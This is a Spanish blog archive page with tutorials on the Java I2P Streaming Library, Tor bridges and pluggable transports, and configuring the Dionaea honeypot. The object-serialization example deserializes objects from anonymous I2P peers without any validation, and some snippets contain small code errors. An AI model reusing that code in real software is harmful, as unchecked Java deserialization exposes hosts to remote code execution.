Archive

Archive for the ‘Networking’ Category

Serialización de objetos utilizando la Streaming Library y desarrollo de plugins I2P

mayo 19, 2015 Deja un comentario

En la entrada anterior se ha venido hablado de los beneficios que aporta la Streaming Library si eres un usuario de I2P y quieres automatizar el proceso de crear “peers” descentralizados que, utilizando la red de I2P, puedan comunicarse y transferir información. Esta librería se encuentra escrita en Java y cuenta con todas las características necesarias para poder interactuar con el protocolo I2CP y poder desplegar servicios que utilicen/establezcan puentes de entrada y salida desde la instancia local de I2P. Tal como mencionaba en el artículo anterior, el procedimiento para crear un emisor y un receptor es bastante simple y si el lector alguna vez ha tenido que trabajar con sockets y programación en entornos de red en cualquier lenguaje, rápidamente podrá apreciar que aunque la librería aporta clases nuevas, su funcionamiento es muy similar a los clásicos sockets “servidor” y “cliente”, de hecho, las clases principales de la Streaming library son “wrappers” de las las clases “ServerSocket” y “Socket” de Java, aunque evidentemente implementando toda la lógica necesaria para poder interactuar con I2P.
No obstante, cuando se navega por Internet en busca de información sobre el uso avanzado de está librería normalmente es muy complicado encontrar detalles técnicos que permitan adentrarse en su uso y casi en todos los casos, se implementa el típico ejemplo del servidor “echo”, en el que existe un cliente que actúa como emisor, un servidor que actúa como receptor y el receptor devuelve los mensajes de texto que envía el emisor, funcionando como un servidor “echo” muy simple, no obstante, uno de los principales beneficios con los que cuenta Java, es que tiene un sistema muy potente de serialización de objetos que permite compartir información entre diferentes JVM, algo que potencio enormemente la evolución de tecnologías tales como RMI, CORBA, JINI y posteriormente los tan conocidos EJB en el mundo de J2EE. En este caso, también es posible serializar objetos entre emisores y receptores I2P, lo que supone un abanico de posibilidades enorme a la hora de crear aplicaciones que utilicen la capa de anonimato que aporta I2P a sus usuarios, ya que se pueden crear objetos debidamente preparados para transmitir mucha más información que una cadena de texto. Para los que no lo sepáis, para poder serializar un objeto en Java, dicho objeto, sus atributos y todas las clases padre de las que hereda deben ser serializables también, lo cual se consigue implementando la interfaz “java.io.Serializable”, además, si alguno de los atributos de dicha clase no es serializable, debe utilizarse el modificador de acceso “transient” con el fin de indicarle a la JVM que dicho atributo debe utilizarse únicamente en el contexto de la JVM local y no se debe incluir en el proceso de serialización del objeto.
Dicho esto, queda claro que una de las labores más importantes a la hora de diseñar una aplicación que aproveche los beneficios de la Streaming Library, consiste precisamente en definir una estructura de objetos que contenga todas las relaciones y atributos necesarios para transmitir información entre los túneles de entrada y salida de la instancia de I2P. La estructura de clases en cuestión, además de ser serializable, debe de ser conocida por todos los “peers” que la utilicen, ya que de no ser así, un emisor puede enviar un objeto Java a un receptor, perfectamente serializado, pero dado que el receptor no cuenta el “.class” de la clase, simplemente no sabrá cómo se debe deserializar el objeto. Lo que normalmente se suele hacer, es distribuir un fichero JAR con todos los elementos necesarios en cada uno de los peers, esto quiere decir que aunque la comunicación entre todos los receptores y emisores en I2P sea descentralizada, tienen que haber elementos de comunicación comunes que les permitan comprender los mensajes que se transmiten por sus túneles, exactamente igual que ocurre con las normas que se definen en cualquier protocolo de red con el fin de garantizar la interoperabilidad en las capas de transporte y aplicación. Además de esto, los receptores y emisores deben conocer los “destinations” de las entidades con las que se desean comunicar. Es posible implementar un mecanismo de descubrimiento automático utilizando un servicio oculto en I2P que sea accesible únicamente por aquellas personas que se desean comunicar y en dicho servicio, cada uno podría depositar el “destination” correspondiente a su instancia de I2P con el fin de que otros usuarios puedan enviarse información.

Para el ejemplo de esta entrada, se creará en primer lugar una clase muy simple que funcionará simplemente como un contenedor de información, también conocido en la terminología de Java como un POJO (Plain Old Java Object) el cual simplemente contendrá algunos atributos básicos y una serie de métodos de establecimiento y acceso (setters y getters)

			
package net.privanon.common; 
public class UserInfo implements java.io.Serializable { 
	private String username; 
	private String name; 
	private String lastname; 
	private Integer age; 
	private String privateMessage;	 
	public void setUsername(String username) { 
		this.username = username; 
	} 
			
	public void setName(String name) { 
		this.name = name; 
	} 
	public void setLastname(String lastname) { 
		this.lastname = lastname; 
	} 
	public void setAge(Integer age) { 
		this.age = age; 
	} 
	public void setPrivateMessage(String privateMessage) { 
		this.privateMessage = privateMessage; 
	} 
	public String getUsername() { 
		return this.username; 
	} 
	public String getName() { 
		return this.name; 
	} 
	public String getLastname() { 
		return this.lastname; 
	} 
			
	public Integer getAge() { 
		return this.age; 
	} 
	public String getPrivateMessage() { 
		return this.privateMessage; 
	} 
} 

La clase en si misma no es demasiado interesante, sin embargo representa la piedra angular del proceso de transmisión de datos entre clientes y receptores, ya que contiene los atributos necesarios para obtener/establecer datos y además, implementa la interfaz Serializable, lo que le permitirá “moverse” libremente entre diferentes JVM.
Modificando un poco la estructura del programa receptor visto en el articulo anterior, el resultado final seria el siguiente.

package testing.i2p; 
import java.io.IOException; 
import java.io.InputStream; 
import java.io.OutputStream; 
import java.io.OutputStreamWriter; 
import java.io.InputStreamReader; 
import java.io.BufferedReader; 
import java.io.BufferedWriter; 
import java.io.ObjectOutputStream; 
import java.io.ObjectInputStream; 
import java.net.ConnectException; 
import java.net.SocketTimeoutException; 
import net.i2p.I2PException; 
import net.i2p.client.streaming.I2PSocket; 
import net.i2p.util.I2PThread; 
import net.i2p.client.I2PSession; 
import net.i2p.client.streaming.I2PServerSocket; 
import net.i2p.client.streaming.I2PSocketManager; 
import net.i2p.client.streaming.I2PSocketManagerFactory; 
import net.i2p.client.I2PSessionException; 
import net.privanon.common; 
			
public class Server { 
    public static void main(String[] args) { 
        I2PSocketManager manager =
			I2PSocketManagerFactory.createManager(); 
        I2PServerSocket serverSocket =
			manager.getServerSocket(); 
        I2PSession session = manager.getSession(); 
	System.out.println(session.getMyDestination().toBase64()); 
        I2PThread t = new I2PThread(new
			ClientHandler(serverSocket)); 
        t.setName("clienthandler1"); 
        t.setDaemon(false); 
        t.start(); 
    } 
			
    private static class ClientHandler implements Runnable { 
        public ClientHandler(I2PServerSocket socket) { 
            this.socket = socket; 
        } 
			
        public void run() { 
            while(true) { 
                try { 
                    I2PSocket sock = this.socket.accept(); 
                    if(sock != null) { 
			    ObjectOutputStream oos = new
			ObjectOutputStream(sock.getOutputStream()); 
			    ObjectInputStream ois = new
			ObjectInputStream(sock.getInputStream()); 
				UserInfo info = null; 
			    while ((info = (UserInfo) ois.readObject()) != null) { 
				      if(info != null && info.getUsername() != null
			&& info.getUsername().equals("Adastra")) { 
						UserInfo response = new UserInfo(); 
				   	        response.setName("unknown"); 
					        response.setLastname("unknown"); 
  					        response.setUsername("unknown"); 
					        response.setAge(0); 
					        response.setPrivateMessage("Send the report
			and close the operation");				 
						oos.writeObject(response);		 
 				       } 
			    } 
			    ois.close(); 
			    oos.close(); 
			    sock.close(); 
                    } 
                } catch (I2PException ex) { 
                    System.out.println("General I2P
			exception!"); 
                } catch (ConnectException ex) { 
                    System.out.println("Error
			connecting!"); 
                } catch (SocketTimeoutException ex) { 
                    System.out.println("Timeout!"); 
                } catch (IOException ex) { 
                    System.out.println("General
			read/write-exception!"); 
                } catch (ClassNotFoundException ex) { 
                    System.out.println("Class Not found
			exception!"); 
                } 
            } 
        } 
        private I2PServerSocket socket; 
    } 
} 

Hay que notar que las principales diferencias se pueden ver en el uso de la clase “UserInfo” que se ha creado anteriormente y la serialización/deserialización de dicho objeto utilizando las clases ObjectOutputStream y ObjectInputStream. En este caso, se deserializa el objeto recibido por el emisor, se realiza una verficación muy simple sobre el nombre del usuario y a continuación, se responde al emisor con un objeto del mismo tipo.

Por otro lado, el receptor por su parte puede tener una estructura como la siguiente:

package testing.i2p; 
import java.io.BufferedReader; 
import java.io.BufferedWriter; 
import java.io.IOException; 
import java.io.InputStreamReader; 
import java.io.InterruptedIOException; 
import java.io.OutputStream; 
import java.io.OutputStreamWriter; 
import java.net.ConnectException; 
import java.net.NoRouteToHostException; 
import net.i2p.I2PException; 
import net.i2p.client.streaming.I2PSocket; 
import net.i2p.client.streaming.I2PSocketManager; 
import net.i2p.client.streaming.I2PSocketManagerFactory; 
import net.i2p.data.DataFormatException; 
import net.i2p.data.Destination; 
import java.io.ObjectOutputStream; 
import java.io.ObjectInputStream; 
import net.privanon.common; 
			
public class Client { 
    public static void main(String[] args) { 
        I2PSocketManager manager =
			I2PSocketManagerFactory.createManager(); 
        System.out.println("Please enter a Destination:");
        BufferedReader br = new BufferedReader(new
			InputStreamReader(System.in)); 
        String destinationString; 
        try { 
            destinationString = br.readLine(); 
        } catch (IOException ex) { 
            System.out.println("Failed to get a
			Destination string."); 
            return; 
        } 
        Destination destination; 
        try { 
            destination = new Destination(destinationString); 
        } catch (DataFormatException ex) { 
            System.out.println("Destination string
			incorrectly formatted."); 
            return; 
        } 
        I2PSocket socket; 
        try { 
            socket = manager.connect(destination); 
        } catch (I2PException ex) { 
            System.out.println("General I2P exception
			occurred!"); 
            return; 
        } catch (ConnectException ex) { 
            System.out.println("Failed to connect!");
            return; 
        } catch (NoRouteToHostException ex) { 
            System.out.println("Couldn't find host!");
            return; 
        } catch (InterruptedIOException ex) { 
            System.out.println("Sending/receiving was
			interrupted!"); 
            return; 
        } 
        try { 
	    ObjectOutputStream oos = new
			ObjectOutputStream(socket.getOutputStream()); 
   	    UserInfo info = new UserInfo(); 
   	    info.setName("Ad"); 
            info.setLastname("Astra"); 
            info.setUsername("Adastra"); 
            info.setAge(30); 
            info.setPrivateMessage("exposure done. Waiting
			for indications"); 
	    oos.writeObject(info); 
	   ObjectInputStream ois = new
			ObjectInputStream(socket.getInputStream()); 
		UserInfo response = null; 
	    while ((response = (UserInfo) ois.readObject()) != null) {
		      System.out.println("Name: "+
			response.getName()); 
		      System.out.println("Last Name: "+
			response.getLastname()); 
		      System.out.println("Username: "+
			response.getUsername()); 
		      System.out.println("Age: "+
			response.getAge()); 
		      System.out.println("Private message: "+
			response.getPrivateMessage()); 
	    } 
	    ois.close(); 
oos.close(); 
	    socket.close(); 
        } catch (IOException ex) { 
            System.out.println("Error occurred while
			sending/receiving!"); 
        }  catch (ClassNotFoundException ex) { 
                    System.out.println("Class Not found
			exception!"); 
                } 
    } 
} 

Nuevamente, las diferencias más destacables entre el programa emisor del articulo anterior y éste, se centran en la serialización/deserializacion de la clase “UserInfo” por medio de los objetos ObjectInputStream y ObjectOutputStream.

Después de iniciar I2P y de ejecutar tanto el emisor como el receptor, se puede ver el flujo de datos transmitidos entre ambas entidades en la siguiente imagen.

streaming1

 

Aunque ambos programas se ejecutan en la misma máquina y sobre la misma instancia de I2P, el funcionamiento será el mismo en instancias y máquinas separadas.

Otro escenario interesante en el que también se puede utilizar la Streaming Library, es en el desarrollo de plugins que se puedan desplegar directamente desde la consola de administración de I2P. Sobre estas cosas hablaré en un próximo articulo.

Saludos y Happy Hack!
Adastra.

Uso de Streaming Library para aplicaciones en I2P

mayo 6, 2015 2 comentarios

Se ha hablado en varias ocasiones sobre los beneficios que aporta I2P al anonimato y en alguna ocasión se ha hablado sobre cómo crear rutinas simples que permitan acceder a I2P utilizando la librería “Streming Library”, la cual se encuentra escrita en Java. Si quieres hacer cualquier tipo de prueba con Python contra I2P, actualmente hay pocas librerías que realmente te lo permitan y que sean estables. Por lo que he podido apreciar en los foros oficiales de desarrolladores, al parecer las personas clave en el desarrollo de plugins, utilidades y el propio core de la red no muestran mucho interés en desarrollar otra librería en un lenguaje distinto para hacer lo que sobradamente ya hace la Streaming Library y francamente tienen toda la razón del mundo, ya que tienen un “roadmap” con cientos de frentes abiertos y es mucho más interesante crear cosas nuevas y mejorar las existentes que reinventar la rueda. Al equipo de I2P le ha costado muchísimo desarrollar la Streaming Library y la cantidad de errores que se reportaban al principio era enorme, es normal que después del número de horas invertidas y el nivel de estabilidad en el que se encuentra ahora, haya sido declarada como la librería de referencia para crear aplicaciones que requieran el uso del protocolo de control de I2P (I2CP) sobre TCP. No obstante, seguimos con los mismos problemas:

1. Aun sigue siendo poca, muy poca la documentación sobre su uso. Si realmente quieres aprender los elementos clave de la librería, tienes que meterte en los JavaDocs y empezar a crear un mapa mental de como están relacionadas las clases y cómo puedes usarlas.

2. Si eres un desarrollador en Python o tienes alguna herramienta para acceder a la web profunda de I2P aunque sea para consultar “Destinations”. Bueno, lo tienes un poco complicado por lo que comentaba antes. Aunque existe el proyecto python-i2cp (https://github.com/majestrate/python-i2cp) para utilizar directamente el protocolo interno de I2P, pero no avanza al ritmo que se esperaría y aun no funciona correctamente a la hora de consultar un destination. Además, utilizar directamente I2CP está desaconsejado por el equipo de I2P. Nos queda utilizar Jython o la JSR de Java correspondiente para ejecutar código de scripting con Python desde la máquina virtual de Java.

Es este artículo intentaré centrarme en el primer punto y explicaré algunas características interesantes en Streaming library para Java y en un próximo articulo, intentaré explicar algunas alternativas a la hora de acceder a I2P desde Python.

No en todos los casos resulta viable utilizar la Streaming Library de I2P, pero por norma general, cuando se habla de aplicaciones punto a punto, como es el caso de descargas de torrents y cosas similares, resulta bastante conveniente y óptimo utilizar esta librería, de hecho, un ejemplo bastante claro lo tenemos con el proyecto I2PSnark, un cliente bittorrent que utiliza la Streaming Library para descargar y compartir torrents utilizando la red de I2P. El código fuente del proyecto se encuentra licenciado con la GNU/GPL y se está disponible en el siguiente repositorio GitHub: https://github.com/i2p/i2p.i2p/tree/master/apps/i2psnark Si se mira con atención las clases y métodos que se incluyen en el proyecto, es mucho más fácil comprender el funcionamiento de la Streaming Library y cómo utilizarla.

En primer lugar, cualquier rutina de código utilizando esta librería puede funcionar en uno de dos modos, o bien como cliente que consulta “destinations” (un destino en I2P es similar a la combinación de una dirección IP y un puerto) o simplemente como servidor. Las principales clases disponibles en la API son “wrappers” de las clases SocketServer y Socket de Java, aunque evidentemente las clases en la Streaming Library adicionan las funcionalidades necesarias para que todas las conexiones se lleven a cabo utilizando la red de I2P.
Por otro lado, en una instancia de I2P, un programa escrito en Java y utilizando la Streaming Library puede actuar como emisor o receptor (recordar que I2P es una red que basada en paquetes y no en circuitos como TOR), con lo cual desde un programa se puede generar el “destination” para que otros usuarios envíen paquetes a la instancia o se pueden buscar (lookup) destinos y enviarles paquetes. El siguiente código sería la clase más simple que se puede crear utilizando la Streaming Library para crear un emisor.

import net.i2p.client.streaming.I2PSocket;
import net.i2p.client.I2PSession;
import net.i2p.client.streaming.I2PServerSocket;
import net.i2p.client.streaming.I2PSocketManager;
import net.i2p.client.streaming.I2PSocketManagerFactory; 

public class Server {
	public static void main(String[] args) {
		I2PSocketManager manager = I2PSocketManagerFactory.createManager();
		I2PServerSocket serverSocket = manager.getServerSocket();
		I2PSession session = manager.getSession();
System.out.println(session.getMyDestination().toBase64());
	}
}

Como se puede apreciar, se crea una instancia de la clase “I2PSocketManager” utilizando la factoría “I2PSocketManagerFactory” y posteriormente se crea un objeto “I2PServerSocket”, el cual será utilizado para atender a las peticiones de otros usuarios en la red de I2P. Finalmente, se pinta por pantalla el destination local del proceso recién iniciado. La clase “net.i2p.data.Destination” cuenta con los métodos “toBase64” y “toBase32” que serán utilizados por el cliente para comunicarse con la instancia de I2P.

El código anterior solamente se encarga de obtener una sesión I2P y pintar por pantalla el destination generado, pero una vez hecho esto, el hilo principal del programa termina. Las siguientes instrucciones que se deben añadir, deben permitir que el proceso se quede en estado de escucha para procesar los mensajes que envían los clientes, para ello la clase I2PThread permite crear un hilo de ejecución ininterrumpido que permitirá al emisor actuar como servidor y recibir mensajes.

import net.i2p.client.I2PSession;
import net.i2p.client.streaming.I2PServerSocket;
import net.i2p.client.streaming.I2PSocketManager;
import net.i2p.client.streaming.I2PSocketManagerFactory;
import net.i2p.util.I2PThread;
public class Server {
	public static void main(String[] args) {
		I2PSocketManager manager = I2PSocketManagerFactory.createManager();
		I2PServerSocket serverSocket = manager.getServerSocket();
		I2PSession session = manager.getSession();
System.out.println(session.getMyDestination().toBase64());
		I2PThread thread = new I2PThread(new
			ClientHandler(serverSocket));
		thread.setDaemon(false);
		thread.start();
	}
	private static class ClientHandler implements Runnable {
		private I2PServerSocket socket;
		public ClientHandler(I2PServerSocket socket) {
			this.socket = socket;
		}
		public void run() {
			while(true) {
		//Procesar las conexiones de los clientes.
                        }
                }
	}
}

En este caso se crea una nueva clase que procesará los mensajes de los clientes de forma indefinida en un bucle “while true”. En dicho bucle se aceptarán las conexiones de los clientes por I2P y posteriormente, se realizará algún tipo de procesamiento, el cual, típicamente consiste en recibir las conexiones por parte de los clientes y responder a los mensajes.

	while(true) {
		try {
			I2PSocket sock = this.socket.accept();
			if(sock != null) {
				//Receive
				BufferedReader br = new BufferedReader(new InputStreamReader(sock.getInputStream()));
				//Send
				BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(sock.getOutputStream()));
				String line = br.readLine();
				if(line != null) {
                                    System.out.println(line);
                                    bw.write(line);
			            bw.flush();
				}
				sock.close();
			}
		} catch (I2PException ex) {
		System.out.println("General I2P exception!");
		} catch (ConnectException ex) {
		System.out.println("Error connecting!");
		} catch (SocketTimeoutException ex) {
                System.out.println("Timeout!");
		} catch (IOException ex) {
                System.out.println("read/write-exception!");
		}
       }

Por otro lado, el cliente debe conocer cuál es la dirección (destination) del emisor para poder transmitirle un mensaje y recibir su respuesta. El código necesario en la parte del cliente es mucho más simple, ya que solamente requiere utilizar la clase I2PSocket y conectarse con el destination especificado.

package testing.i2p;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.InterruptedIOException;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.ConnectException;
import java.net.NoRouteToHostException;
import net.i2p.I2PException;
import net.i2p.client.streaming.I2PSocket;
import net.i2p.client.streaming.I2PSocketManager;
import net.i2p.client.streaming.I2PSocketManagerFactory;
import net.i2p.data.DataFormatException;
import net.i2p.data.Destination; 

public class Client {
	public static void main(String[] args) {
		I2PSocketManager manager =
I2PSocketManagerFactory.createManager();
		System.out.println("Destination:");
		BufferedReader br = new BufferedReader(new
			InputStreamReader(System.in));
		String destinationString;
		try {
			destinationString = br.readLine();
		} catch (IOException ex) {
			System.out.println("Failed to get the Destination.");
			return;
		}
		Destination destination;
		try {
			destination = new Destination(destinationString);
		} catch (DataFormatException ex) {
			System.out.println("Destination string incorrectly formatted.");
			return;
		}
		I2PSocket socket;
		try {
			socket = manager.connect(destination);
		} catch (I2PException ex) {
			System.out.println("General I2P exception occurred!");
			return;
		} catch (ConnectException ex) {
			System.out.println("Failed to connect!");
			return;
		} catch (NoRouteToHostException ex) {
			System.out.println("Couldn't find host!");
			return;
		} catch (InterruptedIOException ex) {
			System.out.println("Sending/receiving was interrupted!");
			return;
		}
		try {
			//Write to server
			BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream()));
			bw.write("Hello I2P!\n");
			BufferedReader br2 = new BufferedReader(new
		InputStreamReader(socket.getInputStream()));
			String s = null;
			while ((s = br2.readLine()) != null) {
				System.out.println("Received from server: " + s);
			}
			socket.close();
		} catch (IOException ex) {
			System.out.println("Error occurred while
			sending/receiving!");
		}
	}
}

El código anterior es la base para crear cosas mucho más elaboradas, por ejemplo, en lugar de utilizar las clases BufferedReader y BufferedWriter se podría utilizar clases como ObjectInputStream y ObjectOutputStream que permiten enviar objetos serializados (aquellos que extienden de la interfaz java.io.Serializable) y de esta forma, construir aplicaciones muy robustas al interior de I2P. Por otro lado, también se puede utilizar para crear plugins que se puedan desplegar directamente desde la consola de administración de I2P. Sobre estas cosas hablaré en un próximo articulo.

Saludos y Happy Hack!
Adastra.

Bridges en TOR y una introducción a los “Pluggable transports”

abril 28, 2015 1 comentario

TOR se caracteriza por ser una red centralizada, en la que cada hora, una serie de servidores de confianza llamados “autoridades de directorio” se encargan de generar información sobre los repetidores que conforman la red y algunos datos adicionales sobre el estado general de la misma. Dicha información es pública y se puede consultar fácilmente ejecutando peticiones HTTP contra cualquiera de las autoridades de directorio o sus espejos. Dado que la información sobre los repetidores la puede consultar cualquiera, una de las principales medidas que toman las entidades represoras a la hora instaurar controles y censurar contenidos, consiste simplemente en incluir dichas direcciones IP en una lista negra para impedir que se puedan realizar conexiones contra cualquier repetidor de TOR. Es una medida que se utiliza muchísimo y que según algunos artículos publicados en el blog de TOR (https://blog.torproject.org/) es una de las medidas más utilizadas en países como Cuba, China, Etiopía, Corea del Norte, etc. Con el fin de hacer que la red sea resistente a este tipo de censura, el equipo de TOR ha desarrollado un sistema para que los ciudadanos de países como los anteriores puedan seguir utilizando TOR sin problemas, aunque las direcciones IP de los repetidores incluidos en los consensos o incluso las direcciones IP de las autoridades de directorio se encuentren bloqueadas. Dicho sistema es conocido como “Automatic Bridging” y es un mecanismo en el que se busca eludir la censura por parte de adversarios fuertes, como es el caso del gobierno de un país. Para conseguir esto, las autoridades de directorio utilizan unos repetidores especiales llamados “Bridges” o puentes, los cuales funcionan exactamente igual que cualquier repetidor que hace parte de un circuito en TOR, pero con la diferencia de que no se exponen públicamente en los descriptores emitidos cada hora por las autoridades de TOR. Los bridges pueden ser creados por cualquier usuario de TOR y si estás a favor de la libertad de expresión y te asquea ver como en ciertos países la gente no puede expresar libremente sus ideas sin temor a que sus vidas o las de sus familiares corran peligro, te recomiendo que configures tus instancias de TOR para que también funcionen como puentes y sean utilizadas por aquellas personas que desean reportar los abusos que se comenten en ciertos lugares del mundo.
Para aquellos que desean obtener un listado de bridges de TOR, dado que no se pueden conectar directamente con las autoridades de directorio o con los repetidores que conforman la red, existen dos formas:

1. Consultar los puentes en “BridgeDB”, el proyecto oficial de TOR para acceder a un conjunto reducido de puentes que servirán para eludir la censura. Dicho proyecto se encuentra ubicado en el siguiente enlace: https://bridges.torproject.org. Para obtener los bridges basta con pinchar sobre el botón en el que pone “Get Bridges” u “Obtener puentes” y después de ingresar un captcha, se enseñarán dos puentes que deben ser configurados en la instancia de TOR que no consigue llegar a las autoridades de directorio o a los repetidores de la red.

2. En el caso (bastante frecuente) de que el proyecto “BridgeDB” también se encuentre censurado, la otra alternativa para recibir un par de puentes validos es escribir un correo a la dirección “bridges@torproject.org”. El mensaje no tiene que tener un contenido, es simplemente una dirección de correo que responde de forma automática al remitente con lo que ha solicitado. En el asunto del mensaje se debe especificar un “comando” para obtener información sobre BridgeDB. Si se envía un mensaje a dicha dirección, sin asunto, la respuesta automática contendrá los posibles comandos que puede enviar el comando a la plataforma de BridgeDB.
El contenido del mensaje devuelto, en el caso de no incluir un asunto es el siguiente:


Hey, debiadastra! Welcome to BridgeDB!

COMMANDs: (combine COMMANDs to specify multiple options simultaneously)
get bridges Request vanilla bridges.
get transport [TYPE] Request a Pluggable Transport by TYPE.
get help Displays this message.
get key Get a copy of BridgeDB’s public GnuPG key.
get ipv6 Request IPv6 bridges.

Currently supported transport TYPEs:
obfs2
obfs3
obfs4
scramblesuit
fte

BridgeDB can provide bridges with several types of Pluggable Transports[0],
which can help obfuscate your connections to the Tor Network, making it more
difficult for anyone watching your internet traffic to determine that you are
using Tor.

Some bridges with IPv6 addresses are also available, though some Pluggable
Transports aren’t IPv6 compatible.

Additionally, BridgeDB has plenty of plain-ol’-vanilla bridges – without any
Pluggable Transports – which maybe doesn’t sound as cool, but they can still
help to circumvent internet censorship in many cases.

[0]: https://www.torproject.org/

<3 BridgeDB

En el caso de indicar el asunto “get bridges”, lo que se puede ver es lo siguiente:

“Hey, debiadastra!
[This is an automated message; please do not reply.]
Here are your bridges:

83.212.111.114:443 0A6EF34EDF047BFD51319268CD423E
194.132.208.140:1418 E6F48300BB17180451522069F16BD5
192.36.31.74:22656 FEB63CA5EBD805C42DC0E5FBDDE82F

To enter bridges into Tor Browser, first go to the  Tor Browser download
page [0] and then follow the instructions there for downloading and starting
Tor Browser.

When the ‘Tor Network Settings’ dialogue pops up, click ‘Configure’ and follow
the wizard until it asks:

> Does your Internet Service Provider (ISP) block or otherwise censor connections
> to the Tor network?

Select ‘Yes’ and then click ‘Next’. To configure your new bridges, copy and
paste the bridge lines into the text input box. Finally, click ‘Connect’, and
you should be good to go! If you experience trouble, try clicking the ‘Help’
button in the ‘Tor Network Settings’ wizard for further assistance.

[0]: https://www.torproject.org/

Como se puede ver, ha devuelto tres repetidores con la dirección IP, puerto y fingerprint del puente. Ahora, para que una instancia de TOR pueda utilizar dichos puentes, basta con especificar las siguientes líneas de configuración en el fichero “torrc”.

Bridge 83.212.111.114:443
Bridge 194.132.208.140:1418
Bridge 192.36.31.74:22656
UseBridges 1

Si estas interesado en crear tu instancia de TOR para que funcione como puente, el procedimiento es bastante sencillo, sin embargo, no se puede configurar una instancia de TOR que funcione como repetidor y puente al mismo tiempo, lo cual es lógico, ya que los repetidores son públicos y los puentes privados y establecer una instancia que actúe como repetidor y puente es equivalente a crear un puente de acceso público y fácil de censurar, lo cual evidentemente no tiene ningún sentido.

Es necesario incluir las siguientes líneas de configuración en el fichero “torrc”:

SocksPort 0

ORPort 8080

Exitpolicy reject *:*

DataDirectory /home/adastra/workspace/bridge/

BridgeRelay 1

Como se puede ver, tanto configurar como utilizar un puente es una tarea bastante simple y es una solución que se ajusta bastante bien al problema de la censura. Sin embargo, algunos “rivales fuertes”, tales como los gobiernos de China o Corea del Norte, ahora ya no solamente bloquean las direcciones IP que se encuentren relacionadas con la red de TOR, ahora aplican técnicas de análisis de paquetes que detectan si los paquetes intercambiados utilizan el protocolo de TOR. Ante una medida así, los puentes por si solos pierden efectividad y se hace muy difícil ocultar el trafico. Aquí entra en juego lo que se conoce como “Pluggable Transports”.

Introducción a los Pluggable Transports

Las técnicas DIP (Deep Packet Inspection) se han vuelto cada vez más comunes en aquellos países en los que el nivel de censura es alto. Las rutinas DIP se encargan de analizar un conjunto de paquetes y reensamblarlos para clasificarlos partiendo de patrones conocidos. De esta forma, con DIP es posible determinar que un conjunto de paquetes se encuentran transmitiendo datos en la red de TOR aunque la dirección IP no se encuentre bloqueada.

Ahora bien, la especificación de “Pluggable Transports” define a esta tecnología como la capacidad de convertir flujos de trafico de TOR entre el cliente y un puente, en flujos admitidos y no reconocidos por técnicas de DIP, como por ejemplo, una conversación inocente con cualquier servidor web en Internet. Notar que aunque el rival (censor), pueda monitorizar el trafico y analizar los paquetes en profundidad, no verá ningún patrón conocido que le permita determinar con exactitud que se trata de un paquete que viaja por TOR.

El objetivo de los PT (Pluggable Transports) consiste básicamente en ofuscar el trafico entre el cliente y sus puentes. Para ello, se utiliza un componente de software adicional tanto en el cliente como en la instancia de TOR que funciona como puente. Dichos componentes deben conocer una serie de reglas para poder ofuscar el trafico (cliente) y posteriormente, poder desofuscarlo (servidor). Actualmente existen varias herramientas y frameworks desarrollados siguiendo la especificación de PT ubicada en el siguiente enlace https://gitweb.torproject.org/torspec.git/tree/pt-spec.txt y seguramente la más conocida y popular es OBFSPROXY, un framework implementado en Python del que os hablaré en un próximo articulo.

Un saludo y Happy Hack!
Adastra.

HoneyPots Parte 3 – Configuración y análisis de malware con Dionaea

abril 14, 2015 Deja un comentario

En el articulo anterior he hablado sobre el funcionamiento e instalación de Dionaea, un honeypot que es capaz de detectar payloads maliciosos y recolectar muestras de malware para su posterior análisis. Para la detección de shellcodes utiliza otra librería de la que ya se ha hablado anteriormente llamada LibEmu, la cual utiliza varias técnicas avanzadas para encontrar patrones maliciosos basadas en heurísticas del tipo GetPC. En este articulo, se continuará con la exploración de las funcionalidades incluidas en Dionaea y las opciones de configuración que se pueden utilizar para modificar el comportamiento del programa según las necesidades particulares del “blue team” o equipo defensor.

En primer lugar, el fichero de configuración del programa se encuentra ubicado en la siguiente ruta (suponiendo que el software se ha instalado en el directorio /opt/dionaea): “/opt/etc/dionaea/dionaea.conf”.

Cuando se trabaja con ficheros de configuración, algo que es de agradecer es que sean fáciles de entender y se encuentren debidamente separados por secciones. Esto es algo que tiene Dionaea y cuando se abre el fichero de configuración por defecto, rápidamente se pueden apreciar las siguientes secciones de configuración: “logging”, “processors”, “downloads”, “submit”, “bistreams”, “listen” y “modules”. A continuación, se explica brevemente para que sirve cada uno de estos bloques de configuración.

“logging”: Es una sección que puede ayudar a ver las trazas que realmente son importantes y que ayudan a detectar un ataque en curso. Configurar adecuadamente esta sección puede ser bastante conveniente, ya que Dionaea es un programa que genera muchísimas trazas de log que en la mayoría de los casos resultan abrumadoras y poco informativas. En esta sección es posible establecer diferentes niveles de trazas, tales como info, debug, warning, error y all. Por defecto, las trazas generadas por Dionaea se almacenan en el directorio “/opt/dionaea/var/log”.

“processors”: Permite definir los servicios que debe arrancar el programa, tales como SSH, MSSqld, FTP, etc. Además, permite definir una serie de detalles de configuración sobre el proceso de emulación de cada uno de dichos servicios, pudiendo establecer detalles como el número de sockets, número máximo de conexiones abiertas y otros detalles que permiten controlar el funcionamiento de LibEmu.

“downloads”: En esta sección se define el directorio en donde se deben guardar las muestras de malware recolectadas por el honeypot.

“bistreams”: En esta sección se define el directorio en donde se guardarán los registros de la interacción entre el atacante y el honeypot, lo que permitirá posteriormente replicar los ataques y depurar.

“submit”: Además guardar las muestras de malware recolectadas por el honeypot en la máquina local, también es posible transferir dichas muestras por http o ftp a un servidor externo. En esta sección se pueden definir los detalles de conexión a dichos servidores externos en el caso de que se quiera enviar el malware a un motor de análisis ubicado en una máquina remota, como por ejemplo, una que tenga Cuckoo en ejecución.

“listen”: Permite definir las interfaces de red que serán utilizadas por el honeypot para arrancar cada uno de los servicios definidos en la sección de “processors”. Existen 3 modos, el automático vincula todas las interfaces de red encontradas en el sistema, el manual permite definir cuales serán las interfaces de red utilizadas y finalmente, el tercer mecanismo permite definir una expresión regular para recuperar todas las interfaces de red que cumplan con el patrón definido.

“modules”: Finalmente, en esta sección se pueden definir detalles de configuración de los módulos que utiliza Dionaea. Algunos de los módulos más interesantes que soporta este honeypot son LibEmu, p0f, curl, nfq, python, fail2ban, entre otros.

Después de explicar las principales secciones de configuración del programa, ahora se procede a utilizar Dionaea y ver cómo funciona cuando un atacante intenta hacerse con el control de un servicio ejecutado en el honeypot.

